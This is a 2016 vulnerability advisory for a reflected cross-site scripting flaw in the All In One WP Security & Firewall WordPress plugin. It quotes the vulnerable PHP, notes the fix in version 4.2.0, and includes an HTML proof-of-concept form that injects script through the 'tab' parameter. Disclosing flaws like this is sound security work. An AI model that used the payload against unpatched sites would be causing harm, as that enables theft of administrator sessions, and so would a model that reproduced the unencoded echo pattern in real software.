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WordPress All In One WP Security And Firewall 4.1.9 Cross Site Scripting

WordPress All In One WP Security And Firewall 4.1.9 Cross Site Scripting
Posted Nov 16, 2016
Authored by Yorick Koster

WordPress All In One WP Security and Firewall plugin versions 4.1.4 through 4.1.9 suffer from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 529e84cd77541f83b0ed65669edd6479516fab6293f7fc579a4115aa74f2d889

WordPress All In One WP Security And Firewall 4.1.9 Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Cross-Site Scripting in All In One WP Security & Firewall WordPress
Plugin
------------------------------------------------------------------------
Yorick Koster, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the All In One WP
Security & Firewall Plugin. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to lure/force a logged on WordPress
Administrator into opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160731-0003

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
These issues were successfully tested on the All In One WP Security &
Firewall WordPress Plugin version 4.1.4 - 4.1.9.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue has been addressed in All In One WP Security & Firewall
version 4.2.0.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_all_in_one_wp_security___firewall_wordpress_plugin.html

This issue exists in the file admin/wp-security-dashboard-menu.php and is caused due to the lack of output encoding on the tab request parameter.

<div class="inside">
<?php
//Fetch, prepare, sort, and filter our data...
$locked_ip_list->prepare_items();
//echo "put table of locked entries here";
?>
<form id="tables-filter" method="get"
onSubmit="return confirm('Are you sure you want to perform this bulk operation on the selected entries?');">
<!-- For plugins, we also need to ensure that the form posts back to our current page -->
<input type="hidden" name="page" value="<?php echo esc_attr($_REQUEST['page']); ?>"/>
<?php
if (isset($_REQUEST["tab"])) {
echo '<input type="hidden" name="tab" value="' . $_REQUEST["tab"] . '" />';
}
?>
<!-- Now we can render the completed list table -->
<?php $locked_ip_list->display(); ?>
</form>
</div>

In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.


Proof of concept

<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=aiowpsec&tab=tab3" method="POST">
<input type="hidden" name="tab" value=""><script>alert(1)</script>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

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